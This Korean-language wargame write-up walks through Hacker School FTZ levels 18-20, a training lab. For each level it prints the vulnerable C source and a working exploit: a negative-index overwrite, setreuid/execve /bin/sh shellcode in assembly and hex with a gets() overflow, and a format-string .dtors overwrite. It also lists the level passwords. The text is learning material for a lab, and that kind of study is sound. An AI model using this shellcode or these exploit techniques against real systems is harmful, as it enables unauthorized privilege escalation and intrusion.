Level18 #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); if(select(fd_setsize, &fds, NULL, NULL, NULL) >= 1) { if(fd_isset(fileno(stdin),&fds)) { read(fileno(stdin),&x,1); switch(x) { case '\r': case '\n': 27

printf("\a"); break; case 0x08: count--; printf("\b \b"); break; default: string[count] = x; ---------여기입니다. count++; break; void shellout(void) { setreuid(3099,3099); execl("/bin/sh","sh",null); 소스가길지만일단 check == 0xdeadbeef를보면조금안심이됩니다. 이문제의요구는포인터의연산을아니냐모르느냐를물어보는것입니다. 모두가알다시피 +1이되면포인터의형태에맞게 +4,+1 혹은 +2 이렇게이동할겁니다. 하지만 -1이라면어떨까요? 역시 -4,-1 혹은 -2 이동합니다. 이것을알았다면순식간에풀리는문제입니다. switch문에서 string[count] 를잘봅시다. count가 -1로되면 check의끝부분을가리키는겁니다. 한번에 -4를하고 deadbeef를입력하면됩니다. [level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)./attackme Enter your command: my-pass Level19 Password is "swimming in pink". 28

Level19 main() { char buf[20]; gets(buf); printf("%s\n",buf); 오버플로우의취약점이존재하지만권한을상승시켜주는구문이없습니다. 사실 level1 부터지금까지 setreuid() 함수가권한을조정해주었습니다. 이때까지 setuid의역할때문이라고생각했습니다. 뭐가어떻게된걸까요? 이는 setuid의권한으로쉘을실행시키면자체적으로권한은낮춰버리기때문입니다. 그러므로 setreuid() 로강제적으로권한을상승시킨겁니다. 쉘코드를만들어보겠습니다. 0x46 setreuid(), 0x31 geteuid().globl main main: xor %eax, %eax movb $0x31, %al int $0x80 mov %eax, %ebx mov %eax, %ecx xor %eax, %eax movb $0x46, %al int $0x80 xor %eax, %eax push %eax push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %eax push %ebx mov %esp, %ecx mov %eax, %edx movb $0x0b, %al int $0x80 29

버퍼의거리를구해보겠습니다. 0x08048455 <main+21>: sub $0x8,%esp 0x08048458 <main+24>: lea 0xffffffd8(%ebp),%eax <- -40(ebp) 0x0804845b <main+27>: push %eax 쉘코드를환경변수에넣고공격해보겠습니다. [level19@ftz tmp]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x 80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89 \xe1\x31\xd2\xb0\x0b\xcd\x80"'` [level19@ftz tmp]$ /tmp/moomoo moomoo's address at 0xbffffd8d 쉘코드위치확인 ( 약간의오차있음 ) [level19@ftz level19]$ (python -c 'print "\x90"*44+"\x00\xfe\xff\xbf"';cat)./attackme???????????????????????????????????????????? my-pass TERM environment variable not set. Level20 Password is "we are just regular guys". 30

Level20 #include <stdio.h> main(int argc,char **argv) { char bleh[80]; setreuid(3101,3101); fgets(bleh,79,stdin); printf(bleh); printf(bleh) 를보면포맷스트링버그가있다는것을알수있습니다. 포맷스트링버그란형식을지정해주지않아생기는버그입니다. (%d %p %s ) 포맷스트링버그의일반적인스택가드나 canary 를우회할수있다는점입니다. level11 번에했던데로해보겠습니다. 그전에 shellcoder s handbook 에서나온아주좋은팁이있습니다. for((i=0; i<200; i++)); do echo "Index $i" &&./formatstring "AAAAAA%$i\$x"; done grep -B1 4141 이걸기본토대로사용하면쉽게문자열을찾을수있습니다. 하지만이번문제에서는내부입력값이라못쓰네요. 일일이찾아보겠습니다. [level20@ftz level20]$ (python -c 'print "AAAA"+".%8x"*10';cat)./attackme AAAA. 4f.4212ecc0.4207a750.41414141.7838252e.7838252e.7838252e.7838252e.7838252e.7838252e 그래도금방찾아지네요. 적은버퍼라다행입니다..dtors 주소를찾겠습니다. [level20@ftz level20]$ objdump -h./attackme grep dtors 18.dtors 00000008 08049594 08049594 00000594 2**2 0x08049598 에다가환경변수를올려놓아서공격하겠습니다. 31

[level20@ftz level20]$ (python -c 'print "AAAA\x9a\x95\x04\x08BBBB\x98\x95\x04\x08"+"%8x"*3+"%49111c%hn"+"%15794c %hn"';cat)./attackme 40 + 49111 = 49151 49151 + 15794 = 64945 my-pass TERM environment variable not set. clear Password is "i will come in a minute". 웹에서등록하세요. * 해커스쿨의든레벨을통과하신것을축하드립니다. 당신의끈질긴열정과능숙한솜씨에찬사를보냅니다. 해커스쿨에서는실력있분들을모아연구소라는그룹을운영하고있습니다. 이메시지를보시는분들중에연구소에관심있으신분은자유로운양식의가입신청서를 admin@hackerschool.org로보내주시기바랍니다. 3. 마치며 FTZ을너무많이풀어서제한시간을두고빨리푸는것도해보고 FTZ를기준으로가지를쳐나가면서공부를했던저에겐감사한워게임입니다. 하지만시간이지나면그마저도까먹고마네요. 이렇게글로써남겨앞으로복습할때더도움이되라고남겨봅니다. 32